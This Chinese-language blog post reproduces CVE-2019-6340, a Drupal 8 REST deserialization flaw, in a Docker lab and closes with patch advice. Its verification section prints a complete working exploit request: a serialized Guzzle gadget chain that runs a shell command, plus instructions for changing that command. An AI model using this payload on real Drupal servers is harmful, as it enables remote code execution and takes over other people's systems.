【CVE-2019-6340】Drupal 8.x REST RCE 远程执行代码漏洞复现

目录

  • 0x00 漏洞概述
  • 0x01 影响版本
  • 0x02 漏洞评级
  • 0x03 漏洞环境搭建
  • 0x04 漏洞验证
  • 0x05 修复建议

0x00 漏洞概述

Drupal 是由德赖斯·布伊泰尔特创立的自由开源内容管理系统,用PHP语言写成。在业界,Drupal常被视为内容管理框架(CMF),而非一般意义上的内容管理系统(CMS)。

2019-02-20,Drupal 安全团队披露了一个安全漏洞(CVE-2019-6340),如果网站开启了 RESTful Web Services(默认不开启)并允许POST/PATCH 请求,在进行 REST API 操作的过程中,会将未经安全过滤的参数内容带入unserialize 函数而触发反序列化漏洞,进而导致任意代码执行。

0x01 影响版本

Drupal 8.6.x < 8.6.10
Drupal 8.5.x(或更早版本) < 8.5.11

0x02 漏洞评级

高危

0x03 漏洞环境搭建

这里使用docker搭建漏洞环境,使用search命令查找,然后拉取第一个镜像:
【CVE-2019-6340】Drupal 8.x REST RCE 远程执行代码漏洞复现_第1张图片
拉取完成后,启动镜像。(使用-P参数,大写P表示docker会随机选择一个宿主机端口映射到容器内部开放的网络端口上)
在这里插入图片描述
使用浏览器访问,出现下图所示页面则说明漏洞环境搭建成功。
【CVE-2019-6340】Drupal 8.x REST RCE 远程执行代码漏洞复现_第2张图片

0x04 漏洞验证

访问漏洞环境并用burp抓包,将数据包改为如下payload,并发送。

POST /node/?_format=hal_json HTTP/1.1
Host: <漏洞环境的IP:PORT>
User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection:  keep-alive
Content-Type: application/hal+json
Accept:  */*
Cache-Control: no-cache
Content-Length: 636

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "<漏洞环境的IP:PORT>/rest/type/shortcut/default"
    }
  }
}

request和response详细信息。其中红色方框内的“id”区域为所执行的命令,数字2则是命令的长度。如果想要执行 echo 1,则前面的数字需要改成 6
【CVE-2019-6340】Drupal 8.x REST RCE 远程执行代码漏洞复现_第3张图片

0x05 修复建议

1、[临时] 可以禁用PUT、PATCH、POST请求。
2、升级到最新的版本。

你可能感兴趣的:(漏洞复现)